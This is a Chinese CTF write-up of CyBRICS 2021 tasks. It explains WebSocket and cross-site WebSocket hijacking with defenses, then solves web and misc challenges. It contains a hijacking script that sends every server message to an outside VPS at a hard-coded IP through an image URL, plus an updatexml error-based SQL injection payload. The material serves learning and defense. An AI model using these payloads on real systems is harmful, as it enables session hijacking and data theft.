WEB
Multichat
题目考的是webscoket有关的漏洞,也属于是知识盲区了…
关于websocket
基本知识
websocket用的是ws://和 wss://,那么 WebSocket 和 HTTP 是什么关系呢。WebSocket 是 HTML5 推出的新协议,跟 HTTP 协议内容本身没有关系。WebSocket 是持久化的协议,而 HTTP 是非持久连接。WebSocket 提供了全双工沟通,俗称 Web 的 TCP 连接,但 TCP 通常处理字节流(跟消息无关),而 WebSocket 基于 TCP 实现了消息流。WebSocket 也类似于 TCP 一样进行握手连接,跟 TCP 不同的是,WebSocket 是基于 HTTP 协议进行的握手。
看一个请求报文
| GET ws: Host: echo.websocket.org Connection: Upgrade Pragma: no-cache Cache-Control: no-cache Upgrade: websocket Origin: http: Sec-WebSocket-Version: 13 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_4) Chrome/49.0.2623.110 Accept-Encoding: gzip, deflate, sdch Accept-Language: en-US,en;q=0.8,zh-CN;q=0.6 Cookie: _gat=1; _ga=GA1.2.2904372.1459647651; JSESSIONID=1A9431CF043F851E0356F5837845B2EC Sec-WebSocket-Key: 7ARps0AjsHN8bx5dCI1KKQ== Sec-WebSocket-Extensions: permessage-deflate; client_max_window_bits
|
响应
| HTTP/1.1 101 Web Socket Protocol Handshake Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: content-type Access-Control-Allow-Headers: authorization Access-Control-Allow-Headers: x-websocket-extensions Access-Control-Allow-Headers: x-websocket-version Access-Control-Allow-Headers: x-websocket-protocol Access-Control-Allow-Origin: http: Connection: Upgrade Date: Sun, 03 Apr 2016 03:09:21 GMT Sec-WebSocket-Accept: wW9Bl95VtfJDbpHdfivy7csOaDo= Server: Kaazing Gateway Upgrade: websocket
|
核心在Connection:Upgrade 和 Upgrade:websocket 两行。这两行相当于告诉服务器端:我要申请切换到 WebSocket 协议。
一旦服务器端返回 101 响应,即可完成 WebSocket 协议切换。服务器端即可以基于相同端口,将通信协议从 http://或 https://切换到 ws://或 wss://。
报文中也有和cookie类似的Sec-WebSocket-Key
,这是一个散列key,经过了base64编码,服务器则会将一个 GUID 和这个客户端的随机数一起生成一个散列 Key 作为 Sec-WebSocket-Accept 返回给客户端。这个工作机制可以用来避免缓存代理(caching proxy),也可以用来避免请求重播(request replay)。
对于Access-Control-Allow-Headers
,以“Sec-”开头的 Header 可以避免被浏览器脚本读取到,这样攻击者就不能利用 XMLHttpRequest 伪造 WebSocket 请求来执行跨协议攻击,因为 XMLHttpRequest 接口不允许设置 Sec-开头的 Header。
优点
支持双向通信,实时性更强。
更好的二进制支持。
较少的控制开销。连接创建后,ws客户端、服务端进行数据交换时,协议控制的数据包头部较小。在不包含头部的情况下,服务端到客户端的包头只有2~10字节(取决于数据包长度),客户端到服务端的话,需要加上额外4字节的掩码。而HTTP协议每次通信都需要携带完整的头部。
支持扩展。ws协议定义了扩展,用户可以扩展协议,或者实现自定义的子协议。(比如支持自定义压缩算法等)
跨站点 WebSocket 劫持漏洞原理
看了对于这个的介绍,感觉和CSRF确实有些像,但又有些根本上的区别,CSRF只是通过恶意网站或者其他方法伪造客户进行请求,不会导致信息泄漏问题,也不会窃听到整个消息通道和修改服务器数据。
什么是跨站点 WebSocket 劫持漏洞
看看上面的报文,可以发现Cookie 头部把域名下的 Cookie 都发送到服务器端。其实WebSocket协议并没有规定服务器在握手时应该如何确认客户端的身份,服务器可以采用任何 HTTP 服务器的客户端身份认证机制,譬如 cookie,HTTP 基础认证,TLS 身份认证等。看到这,都可以联想到CSRF来绕过身份认证获得握手,其实大致过程也和CSRF差不多。
因为 WebSocket 的客户端不仅仅局限于浏览器,因此 WebSocket 规范没有规范 Origin 必须相同(有兴趣的读者可以阅读规范 10.2 章节了解对于 Origin 的规范)。所有的浏览器都会发送 Origin 请求头,如果服务器端没有针对 Origin 头部进行验证可能会导致跨站点 WebSocket 劫持攻击。譬如,某个用户已经登录了应用程序,如果他被诱骗访问某个社交网站的恶意网页,恶意网页在某元素中植入一个 WebSocket 握手请求申请跟目标应用建立 WebSocket 连接。一旦打开该恶意网页,则自动发起如下请求。请注意,Origin 和 Sec-WebSocket-Key 都是由浏览器自动生成,Cookie 等身份认证参数也都是由浏览器自动上传到目标应用服务器端。如果服务器端疏于检查 Origin,该请求则会成功握手切换到 WebSocket 协议,恶意网页就可以成功绕过身份认证连接到 WebSocket 服务器,进而窃取到服务器端发来的信息,抑或发送伪造信息到服务器端篡改服务器端数据。
防御
WebSocket 令牌机制
以上看起来很美好,但是仅仅检查 Origin 远远不够,别忘记了,如果 WebSocket 的客户端不是浏览器,非浏览器的客户端发来的请求根本就没有 Origin。除此之外,我们要记得,恶意网页是可以伪造 Origin 头信息的。更彻底的解决方案还是要借鉴 CSRF 的解决方案-令牌机制。
鉴于篇幅原因,笔者就不详细贴出整个设计和代码,建议读者参照以下概要设计提高 WebSocket 应用的安全。
\1. 服务器端为每个 WebSocket 客户端生成唯一的一次性 Token;
\2. 客户端将 Token 作为 WebSocket 连接 URL 的参数(譬如 ws://echo.websocket.org/?token=randomOneTimeToken),发送到服务器端进行 WebSocket 握手连接;
\3. 服务器端验证 Token 是否正确,一旦正确则将这个 Token 标示为废弃不再重用,同时确认 WebSocket 握手连接成功;如果 Token 验证失败或者身份认证失败,则返回 403 错误。
这个方案里的 Token 设计是关键,笔者推荐的方案是为登录用户生成一个 Secure Random 存储在 Session 中,然后利用对称加密(譬如 AES GCM)加密这个 Secure Random 值作为令牌,将加密后的令牌发送给客户端用来进行连接。这样每个 Session 有一个唯一的随机数,每个随机数可以通过对称加密生成若干份一次性令牌。用户即便通过不同终端通过 WebSocket 连接到服务器,服务器可以在保障令牌唯一且一次性使用的前提下,依然能将不同通道中的信息关联到同一用户中。
可能存在另外一个设计思路,在 WebSocket 消息中增加令牌和身份信息,但笔者觉得这样的设计有悖于 WebSocket 的设计思想,而且增加了不必要的网络负载。抛砖引玉,欢迎读者提供更好的设计方案。
参考
https://blog.csdn.net/hsany330/article/details/49823495?utm_medium=distribute.pc_relevant.none-task-blog-2%7Edefault%7EBlogCommendFromMachineLearnPai2%7Edefault-4.base&depth_1-utm_source=distribute.pc_relevant.none-task-blog-2%7Edefault%7EBlogCommendFromMachineLearnPai2%7Edefault-4.base
https://blog.csdn.net/cuixiping/article/details/70048611
题解
进入就是一个聊天框,也比较符合WebSocket正常的功能。F12先看一眼,看到了一串javascript脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70
| var conn; var sended_message = "";
function getRandomInt(min, max) { min = Math.ceil(min); max = Math.floor(max); return Math.floor(Math.random() * (max - min) + min); } function appendLog(item) { var escaped = $("<div>").text(item).html(); if (item === sended_message) { log.innerHTML += '<div class="chat-message-right pb-4"><div class="flex-shrink-1 bg-light rounded py-2 px-3 mr-3"><div class="font-weight-bold mb-1">You</div>' + escaped + '</div></div>'; sended_message = ""; } else { log.innerHTML += '<div class="chat-message-left pb-4"><div class="flex-shrink-1 bg-light rounded py-2 px-3 mr-3">' + escaped + '</div></div>'; } log.scrollTop = log.scrollHeight; } function connect() { let room = document.getElementById("room").value; document.cookie = 'room=' + encodeURIComponent(room); $("form input").prop( "disabled", false ); $("#room").hide(); $("#room").parent().children().first().text("Room " + room);
$("#connectButton").hide();
if (window["WebSocket"]) { conn = new WebSocket("ws://multichat-cybrics2021.ctf.su/ws"); conn.onclose = function (evt) { var item = ""; if (evt.code === 1003) { item = `Status: ${evt.reason}`; } else { item = "Connection closed."; } appendLog(item); }; conn.onopen = function (evt) { appendLog("Connected"); }; conn.onmessage = function (evt) { appendLog(evt.data); }; } else { appendLog("Your browser does not support WebSockets."); } } window.onload = function () { var room = getRandomInt(1000, 9999999999); var msg = document.getElementById("msg"); var log = document.getElementById("log");
document.getElementById("form").onsubmit = function () { if (!conn) { return false; } if (!msg.value) { return false; } conn.send(msg.value); sended_message = msg.value; msg.value = ""; return false; };
document.getElementById("room").value = room; };
|
大致过程就是 先生成了一个随机数当作房间号,然后实现了消息接收发送在前端的显示,然后实现了WebSocket连接来接受和发送消息。看题目意思最开始还觉得要找到秘密的房间号,但看到随机生成的范围就不太可能了。后面有大佬出了,看了下exp才知道咋做了。
因为题目还给了一个电话的按钮,可以访问url并且可以发送问题,按题目描述应该就是通过这个电话来伪造技术支持发送Hey, i forgot the flag. Can you remind me?
来获取flag
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| <script> function appendLog(msg){ document.write(`<img src=http://39.107.239.30:80/a=${escape(msg)}></img>`); } ws = new WebSocket ( "ws://multichat-cybrics2021.ctf.su/ws"); ws.onclose = function(evt){ var item = ""; if (evt.code == 1003){ item = `status: ${evt.reason}`; } else { item = "Connection closed."; } appendLog(item); }; ws.onopen = function (evt){ appendLog ("Connected"); ws.send( "Hey, i forgot the flag. Can you remind me?"); }; ws.onmessage = function (evt) { appendLog(evt.data) }; </script>
|
然后在自己vps上挂上exp,用电话访问即可。
现在感觉对于一些漏洞的学习,还是得注重理解原理而不是仅仅把题做出来,回头再看CSRF得漏洞等,发现以前对它得理解还是太浅了,结合WebSocket现在感觉理解更深了,对于用户身份得伪造是一个核心问题,任何漏洞都有着核心的利用思想,这个思想也可以用到其他得地方,应该多注重这些思想得积累,以后在看到某些协议或者可利用漏洞时,应注重思考这些漏洞的思想在哪,融会贯通才是最重要的。
今天再接着看看强网杯hardxss的预期解。
adnetwork
1337个重定向,直接脚本request一下就行,当时浏览器运气好都跑出来了。也就只会做这个题了。
Announcemen
报错注入,抓包发现还要对email进行md5基本语句如下:
| #select group_concat(table_name) from information_schema.tables where table_schema='announcement'
#select group_concat(column_name) from information_schema.columns where table_name='logs'
#"' or updatexml(1,concat(0x7e,(select group_concat(log) from logs)),0) or'"
|
MISC
感觉misc也挺好玩的,没怎么了解misc,暑假趁着学学misc
Scanner
前面几张图可以盲猜,到最后一张是一张二维码,需要分帧gif拼图,
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| from PIL import Image
im = Image.open('640.gif')
flag = Image.new('RGB',(1080, 1080), "#FFFFFF") p = [9, 12, 15, 18, 21, 24, 27, 30, 33, 36, 39, 42, 45, 48, 51, 54, 57, 60, 63, 66, 69, 72, 75, 78, 81, 84, 87] c = 0 for i in p: demo = 'demo/' + '640-' + str(i) + '.png' frame = Image.open(demo) box = (0, 496, 1080, 517) re = frame.crop(box) flag.paste(re,(0,c*21)) c+=1 flag.show()
|
Image模块参考https://www.cnblogs.com/tomyyyyy/p/11122814.html#:~:text=Image%E6%A8%A1%E5%9D%97%E6%98%AF%E5%9C%A8Python,PIL%E5%9B%BE%E5%83%8F%E5%A4%84%E7%90%86%E4%B8%AD%E5%B8%B8%E8%A7%81%E7%9A%84%E6%A8%A1%E5%9D%97%EF%BC%8C%E5%AF%B9%E5%9B%BE%E5%83%8F%E8%BF%9B%E8%A1%8C%E5%9F%BA%E7%A1%80%E6%93%8D%E4%BD%9C%E7%9A%84%E5%8A%9F%E8%83%BD%E5%9F%BA%E6%9C%AC%E9%83%BD%E5%8C%85%E5%90%AB%E4%BA%8E%E6%AD%A4%E6%A8%A1%E5%9D%97%E5%86%85%E3%80%82
CAPTCHA The Flag
stegsolve打开左右调通道
慢慢试25次。
Recording
看了wp,要用到MacroRecorder工具,做misc还是得搜索引擎用的好呀,百度还是不太行。可以查到mrf文件格式大致是一个画图用的,鼠标宏类似的,中间还整的有虚拟键盘,打印出来了一个网址,输进去要密码,但事件最后给了密码,输进去就出了。思路是这样,关键还是得找到那个工具,
Namecheck
这题社工题了,看看wp就行了。。
ASCII Terminal
LX-100
打开流量,先看看常规的协议HTTP啥的
谷歌可以查到是Lumix GX80 摄像头,其视频流通过udp传输。把udp追踪流dump下来(原始数据)直接保存为mjpeg
,VLC media player
就能播放。
或者可以写脚本,原始数据有很多图片FFD8
开头,将每张图提取出来。
localhost
Future Tech